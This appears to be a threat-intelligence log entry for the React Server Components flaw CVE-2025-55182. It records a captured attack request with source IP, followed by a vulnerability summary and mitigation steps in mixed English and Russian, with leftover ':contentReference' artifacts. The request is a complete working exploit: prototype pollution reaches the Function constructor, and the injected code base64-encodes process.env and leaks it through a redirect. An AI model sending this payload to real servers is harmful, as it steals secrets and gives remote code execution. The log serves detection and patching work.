CVE-2025-55182

2026-05-09

5.35.98.193

russia 

Meta 

React 

POST /api/contact HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/█████████ Safari/537.36
Host: blog.██████
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary93UHBvtAsSCM
Content-Length: 1051
X-Forwarded-For: ███████████
Accept-Encoding: gzip
Next-Action: x
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Next-Url: /api/contact
Origin: https://blog.██████
Referer: https://blog.██████/api/contact
X-Ja3-Fingerprint: e69402f870ecf542b4f017b0ed32936a
X-Ja4-Fingerprint: t13d1312h2_f57a46bbacb6_e5728521abd4
X-Nextjs-Html-Request-Id: d3DLu9TOQq
X-Nextjs-Request-Id: Va8P9YCSPS
Connection: close

------WebKitFormBoundary93UHBvtAsSCM
Content-Disposition: form-data; name="Gt9aFvLd"

YMcJKFRnBPrx33qcNgcJYc5sk3JlpOJc5Nkvh6TH9CCWGFuUnDzFuug+ZQo6IXaKlaZz63FE49mXwZdqCmhe/3y65ccLTs6WWAA1ISBy0SajRGXn1AwbCwRm8IBUMVkr8d3qs8kK4A+3/+BMnvKjtRGIWHIB14H5NicCrKfUerioW+aEJ2ddjzvtb1LBRMvuCJ8/0IXpMNRqsTT2FsV2/amEzWiAMiKPt/VDax1jxqC0cAIzoTXCk9srri3Yirmz
------WebKitFormBoundary93UHBvtAsSCM
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var env=typeof process!=='undefined'?JSON.stringify(process.env):'{}';var b64=Buffer.from(env).toString('base64');throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a='+b64+';307;'});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary93UHBvtAsSCM
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary93UHBvtAsSCM
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundary93UHBvtAsSCM--

CVE-2025-55182 affects react-server-dom-webpack, react-server-dom-parcel and react-server-dom-turbopack versions 19.0.0, 19.1.0, 19.1.1 and 19.2.0. :contentReference
The root cause is unsafe deserialization in the RSC “Flight” protocol: when the server receives a specially crafted payload via HTTP request to a Server Function endpoint, the payload is deserialized without proper validation. This can lead to prototype-pollution, or injection of malicious objects, which allows execution of arbitrary JS code — effectively an RCE. 
The attack requires no authentication, has low complexity, and can be triggered via a single HTTP request. 
Because many popular frameworks (e.g. Next.js, React Router, Waku, Parcel/Vite RSC plugins, rwsdk) rely on the vulnerable packages, a large portion of web-apps are at risk.
The vulnerability was publicly disclosed on December 3, 2025, and patches released shortly after. 

Upgrade React-server-dom packages: Immediately update affected packages to patched versions (for example react-server-dom-webpack/par­cel/turbopack → 19.0.1, 19.1.2 или 19.2.1).
Audit dependencies: Проверьте, не включены ли в проект фреймворки или сборщики, использующие RSC (например Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk), и обновите их до безопасных версий. :contentReference
Disable or restrict RSC endpoints: Если возможно — временно отключите серверные функции React (Server Functions) или ограничьте доступ к ним через firewall / WAF / настройку сети. :contentReference
Runtime protection: Используйте WAF, EASM/ASM, мониторинг поведения, IDS/IPS, чтобы обнаруживать подозрительные запросы и пост-эксплуатационную активность. :contentReference
Code review / validation: Пересмотрите обработку входящих данных, избегайте десериализации непроверенных объектов, особенно если приложение принимает пользовательские payload’ы. (Может потребоваться дополнительная проверка/валидация deserialized data.)